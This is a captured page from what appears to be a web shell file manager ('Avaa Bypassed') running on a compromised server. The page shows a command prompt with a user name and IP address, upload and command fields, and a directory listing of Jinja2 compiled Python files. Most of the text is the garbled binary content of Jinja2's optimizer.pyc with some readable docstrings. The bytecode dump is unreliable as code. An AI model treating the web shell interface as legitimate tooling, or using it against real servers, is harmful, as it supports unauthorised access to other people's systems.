404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.144.172.231: ~ $
3

aG�\��@s8dZddlmZddlmZdd�ZGdd�de�ZdS)	a[
    jinja2.optimizer
    ~~~~~~~~~~~~~~~~

    The jinja optimizer is currently trying to constant fold a few expressions
    and modify the AST in place so that it should be easier to evaluate it.

    Because the AST does not contain all the scoping information and the
    compiler has to find that out, we cannot do all the optimizations we
    want.  For example loop unrolling doesn't work because unrolled loops would
    have a different scoping.

    The solution would be a second syntax tree that has the scoping rules stored.

    :copyright: (c) 2017 by the Jinja Team.
    :license: BSD.
�)�nodes)�NodeTransformercCst|�}|j|�S)z^The context hint can be used to perform an static optimization
    based on the context given.)�	OptimizerZvisit)�node�environmentZ	optimizer�r�/usr/lib/python3.6/optimizer.py�optimizesr	c@sleZdZdd�Zddd�ZeZZZZZ	Z
ZZZ
ZZZZZZZZZZ[dS)rcCs
||_dS)N)r)�selfrrrr�__init__ szOptimizer.__init__NcCsB|j|�}ytjj|j|�|j|jd�Stjk
r<|SXdS)zDo constant folding.)�linenorN)Z
generic_visitrZConstZfrom_untrustedZas_constrrZ
Impossible)r
rZeval_ctxrrr�fold#s

zOptimizer.fold)N)�__name__�
__module__�__qualname__rr
Z	visit_AddZ	visit_SubZ	visit_MulZ	visit_DivZvisit_FloorDivZ	visit_PowZ	visit_ModZ	visit_AndZvisit_OrZ	visit_PosZ	visit_NegZ	visit_NotZ
visit_CompareZ
visit_GetitemZ
visit_GetattrZ
visit_CallZvisit_FilterZ
visit_TestZvisit_CondExprrrrrrs

LrN)�__doc__Zjinja2rZjinja2.visitorrr	rrrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 2.42 KB 0644
__init__.cpython-36.pyc File 2.42 KB 0644
_compat.cpython-36.opt-1.pyc File 3.21 KB 0644
_compat.cpython-36.pyc File 3.21 KB 0644
_identifier.cpython-36.opt-1.pyc File 1.75 KB 0644
_identifier.cpython-36.pyc File 1.75 KB 0644
asyncfilters.cpython-36.opt-1.pyc File 4.63 KB 0644
asyncfilters.cpython-36.pyc File 4.63 KB 0644
asyncsupport.cpython-36.opt-1.pyc File 7.9 KB 0644
asyncsupport.cpython-36.pyc File 7.9 KB 0644
bccache.cpython-36.opt-1.pyc File 12.37 KB 0644
bccache.cpython-36.pyc File 12.37 KB 0644
compiler.cpython-36.opt-1.pyc File 45.69 KB 0644
compiler.cpython-36.pyc File 45.75 KB 0644
constants.cpython-36.opt-1.pyc File 1.61 KB 0644
constants.cpython-36.pyc File 1.61 KB 0644
debug.cpython-36.opt-1.pyc File 9.01 KB 0644
debug.cpython-36.pyc File 9.07 KB 0644
defaults.cpython-36.opt-1.pyc File 1.37 KB 0644
defaults.cpython-36.pyc File 1.37 KB 0644
environment.cpython-36.opt-1.pyc File 41.85 KB 0644
environment.cpython-36.pyc File 42.2 KB 0644
exceptions.cpython-36.opt-1.pyc File 4.85 KB 0644
exceptions.cpython-36.pyc File 4.85 KB 0644
ext.cpython-36.opt-1.pyc File 19.53 KB 0644
ext.cpython-36.pyc File 19.58 KB 0644
filters.cpython-36.opt-1.pyc File 33.84 KB 0644
filters.cpython-36.pyc File 33.97 KB 0644
idtracking.cpython-36.opt-1.pyc File 9.62 KB 0644
idtracking.cpython-36.pyc File 9.66 KB 0644
lexer.cpython-36.opt-1.pyc File 17.96 KB 0644
lexer.cpython-36.pyc File 18.08 KB 0644
loaders.cpython-36.opt-1.pyc File 16.14 KB 0644
loaders.cpython-36.pyc File 16.14 KB 0644
meta.cpython-36.opt-1.pyc File 3.53 KB 0644
meta.cpython-36.pyc File 3.53 KB 0644
nativetypes.cpython-36.opt-1.pyc File 4.96 KB 0644
nativetypes.cpython-36.pyc File 4.96 KB 0644
nodes.cpython-36.opt-1.pyc File 35.39 KB 0644
nodes.cpython-36.pyc File 35.75 KB 0644
optimizer.cpython-36.opt-1.pyc File 1.94 KB 0644
optimizer.cpython-36.pyc File 1.94 KB 0644
parser.cpython-36.opt-1.pyc File 24.7 KB 0644
parser.cpython-36.pyc File 24.7 KB 0644
runtime.cpython-36.opt-1.pyc File 23.95 KB 0644
runtime.cpython-36.pyc File 23.98 KB 0644
sandbox.cpython-36.opt-1.pyc File 13.82 KB 0644
sandbox.cpython-36.pyc File 13.82 KB 0644
tests.cpython-36.opt-1.pyc File 4.26 KB 0644
tests.cpython-36.pyc File 4.26 KB 0644
utils.cpython-36.opt-1.pyc File 20.15 KB 0644
utils.cpython-36.pyc File 20.15 KB 0644
visitor.cpython-36.opt-1.pyc File 3.22 KB 0644
visitor.cpython-36.pyc File 3.22 KB 0644